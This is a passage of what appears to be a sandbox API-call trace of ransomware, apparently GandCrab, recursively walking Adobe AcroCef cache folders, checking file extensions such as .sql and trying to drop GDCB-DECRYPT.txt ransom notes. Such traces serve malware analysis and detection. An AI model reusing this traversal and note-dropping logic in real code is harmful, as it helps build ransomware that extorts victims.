Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.051] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4dd8 [0170.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.051] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.051] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.051] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.051] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.051] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.051] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.051] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 145 [0170.051] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.051] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.051] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.051] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.051] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.051] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.051] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.051] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.051] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.052] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 155 [0170.052] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.052] GetLastError () returned 0x50 [0170.052] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.053] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 138 [0170.053] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.053] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.053] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.053] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.053] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.053] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.053] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.053] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.053] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.053] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.053] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0170.053] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.053] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.053] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.053] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.053] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.053] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.053] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 146 [0170.053] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.053] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.054] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.054] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.054] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.054] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.054] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.054] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.054] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.054] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 151 [0170.054] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.054] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.054] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.054] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.054] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 152 [0170.054] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.054] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.054] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.054] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.054] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 162 [0170.054] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.054] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.054] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.054] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.054] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 163 [0170.054] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.055] GetLastError () returned 0x50 [0170.055] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.055] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 146 [0170.055] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.055] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.056] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.056] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.056] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.056] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.056] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.056] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.056] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.056] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0170.056] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.056] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.056] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 152 [0170.056] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.056] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.056] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.056] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.056] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.056] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.056] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.056] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.056] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.056] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 157 [0170.056] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.057] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.057] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 168 [0170.057] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.057] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.057] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.057] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.057] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.057] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 165 [0170.057] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.057] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.057] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.057] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 169 [0170.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.058] GetLastError () returned 0x50 [0170.058] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.058] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 152 [0170.058] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.058] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e98 [0170.058] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.058] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.059] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.059] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.059] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.059] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.059] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.059] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.059] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0170.059] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.059] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.059] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 158 [0170.059] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 